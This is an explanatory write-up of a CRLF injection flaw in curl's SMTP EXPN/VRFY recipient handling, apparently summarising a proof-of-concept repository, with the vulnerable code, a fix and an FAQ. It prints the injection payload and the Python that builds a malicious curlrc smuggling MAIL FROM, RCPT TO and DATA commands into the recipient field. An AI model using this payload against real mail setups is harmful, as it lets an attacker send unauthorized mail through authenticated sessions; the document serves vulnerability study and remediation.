# How the curl SMTP EXPN Recipient CRLF Injection Vulnerability Works

> Learn how the curl SMTP EXPN recipient CRLF injection vulnerability lets attackers insert commands by sending unsanitized recipient data to the server.

- Repository: [bikini/exploitarium](https://github.com/bikini/exploitarium)
- Tags: deep-dive
- Published: 2026-09-06

---

**The curl SMTP EXPN recipient CRLF injection vulnerability allows attackers to inject arbitrary SMTP commands by embedding carriage-return/line-feed sequences in the recipient field, which curl transmits unsanitized to the server.**

This proof-of-concept, hosted in the `bikini/exploitarium` repository, demonstrates how improper input validation in curl's SMTP handling enables command injection via the `CURLOPT_MAIL_RCPT` parameter. By exploiting the way curl constructs SMTP command lines, attackers can bypass intended command boundaries and execute unauthorized mail operations.

## Root Cause: Unsanitized Recipient Data in SMTP Commands

The vulnerability stems from curl's construction of SMTP request lines in its protocol handler. When building commands such as `EXPN` or `VRFY`, curl concatenates the custom request string with raw recipient data without sanitizing control characters.

### Vulnerable Code Path

In the SMTP implementation, curl uses `Curl_pp_sendf` to format command strings:

```c
result = Curl_pp_sendf(data, &smtpc->pp,
                       "%s %s%s", smtp->custom,
                       smtp->rcpt->data,
                       utf8 ? " SMTPUTF8" : "");

```

Because `smtp->rcpt->data` is inserted directly into the format string without validation, any **carriage-return/line-feed** (`\r\n`) characters present in the recipient field are transmitted verbatim to the SMTP server. The server interprets these sequences as command terminators, treating subsequent content as new SMTP commands rather than part of the original recipient operand.

## Exploitation Mechanism

Attackers exploit this flaw by crafting recipient strings that contain embedded CRLF sequences followed by additional SMTP commands. When curl sends the `EXPN` or `VRFY` request, the injected commands execute in the context of the authenticated session.

### Injection Payload Structure

The proof-of-concept in [`run_demo.py`](https://github.com/bikini/exploitarium/blob/main/run_demo.py) constructs a payload that terminates the original `EXPN` command and injects a complete mail transaction:

```

Friends\r\n
MAIL FROM:<probe-sender@example.com>\r\n
RCPT TO:<probe-recipient@example.com>\r\n
DATA\r\n
Subject: injected\r\n
\r\n
curl‑smtp‑injection‑marker‑v1\r\n
.

```

When processed by the vulnerable code, the SMTP server receives and executes the injected `MAIL FROM`, `RCPT TO`, and `DATA` commands, allowing the attacker to send arbitrary email content through the authenticated connection.

## Proof-of-Concept Implementation

The `bikini/exploitarium` repository provides a complete demonstration via [`run_demo.py`](https://github.com/bikini/exploitarium/blob/main/run_demo.py), which orchestrates a local SMTP peer and malicious curl configuration to validate the injection.

### Generating the Malicious Configuration

The Python script builds a curl configuration file that sets the recipient to the crafted payload:

```python
payload = (
    "Friends\r\n"
    "MAIL FROM:<probe-sender@example.com>\r\n"
    "RCPT TO:<probe-recipient@example.com>\r\n"
    "DATA\r\n"
    "Subject: injected\r\n"
    "\r\n"
    f"{MARKER}\r\n"
    "."
)

text = "\n".join([
    f'url = "smtp://{host}:{port}/probe"',
    f'request = "{mode.upper()}"',
    f'mail-rcpt = "{config_quote(payload)}"',
    'user = "alice:secret"',
    'login-options = "AUTH=PLAIN"',
    "verbose",
    'max-time = "10"',
])
path.write_text(text, encoding="utf-8")

```

### Executing the Attack

Run the demonstration against a local SMTP server or the built-in peer:

```bash
python run_demo.py          # use the system curl

# or with a custom curl binary

python run_demo.py --curl /path/to/curl

```

The script writes the configuration to `smtp‑crlf‑injection.curlrc`, invokes `curl -K smtp-crlf-injection.curlrc`, and monitors the SMTP transaction for injected commands.

### Validation Indicators

Upon successful exploitation, the local SMTP peer records the injected mail transaction and the runner outputs confirmation flags:

```

auth_seen=true
custom_request_seen=true
injected_mail_seen=true
injected_rcpt_seen=true
injected_data_seen=true
message_completed=true
marker_in_message=true
confirmed=true

```

The `confirmed=true` flag indicates that the CRLF injection successfully delivered arbitrary SMTP commands and message content through the vulnerable curl instance.

## Mitigation and Fix

Proper remediation requires validating recipient data before serializing SMTP commands. The fix should reject any operands containing control characters that could terminate the command line prematurely.

### Input Validation Implementation

Before calling `Curl_pp_sendf`, the code should verify that `smtp->rcpt->data` contains no carriage-return or line-feed characters:

```c
if (strpbrk(smtp->rcpt->data, "\r\n")) {
    failf(data, "Refusing to send SMTP command operand with a CR or LF");
    return CURLE_BAD_FUNCTION_ARGUMENT;
}

```

This validation prevents command injection by ensuring recipient data remains a single-line operand, maintaining the integrity of the SMTP protocol state machine.

## Summary

- The **curl SMTP EXPN recipient CRLF injection** vulnerability exists because curl concatenates raw recipient data into SMTP commands without sanitizing `\r\n` characters.
- Attackers can inject arbitrary SMTP commands, including `MAIL FROM`, `RCPT TO`, and `DATA`, by embedding CRLF sequences in the `CURLOPT_MAIL_RCPT` value.
- The `bikini/exploitarium` proof-of-concept demonstrates complete mail injection via the `EXPN` or `VRFY` commands using the [`run_demo.py`](https://github.com/bikini/exploitarium/blob/main/run_demo.py) script.
- The vulnerable code path uses `Curl_pp_sendf` to format commands with unsanitized `smtp->rcpt->data`.
- Effective mitigation requires rejecting recipient strings containing `\r` or `\n` using `strpbrk` validation before transmission.

## Frequently Asked Questions

### What is CRLF injection in SMTP contexts?

**CRLF injection** occurs when an attacker embeds carriage-return (`\r`) and line-feed (`\n`) characters within protocol input to prematurely terminate a command line. In SMTP, these characters delimit commands, allowing attackers to inject additional operations such as `MAIL FROM` or `DATA` that the server executes as separate commands, effectively hijacking the session protocol state.

### Which curl options are vulnerable to this attack?

The vulnerability specifically affects the **`CURLOPT_MAIL_RCPT`** option (configured via `--mail-rcpt` or `mail-rcpt` in curlrc files) when combined with custom SMTP requests like `EXPN` or `VRFY`. Any recipient value passed through this option that contains unescaped CRLF sequences can trigger command injection, regardless of other authentication or connection settings.

### How can I test if my curl installation is vulnerable?

Use the `bikini/exploitarium` proof-of-concept by cloning the repository and executing `python run_demo.py`. If the output shows `confirmed=true` and `marker_in_message=true`, your curl version transmits unsanitized CRLF characters in SMTP commands. Alternatively, inspect your curl version's source code in the SMTP protocol handler for the presence of `strpbrk` checks on recipient data before `Curl_pp_sendf` invocation.

### What is the difference between EXPN and VRFY in this exploit?

Both **`EXPN`** (expand mailing list) and **`VRFY`** (verify user address) commands accept recipient operands and are equally vulnerable to CRLF injection in curl's implementation. The proof-of-concept uses `EXPN` by default, but switching to `VRFY` via the `request` configuration parameter achieves identical results, as both commands follow the same code path through `Curl_pp_sendf` with unsanitized `smtp->rcpt->data`.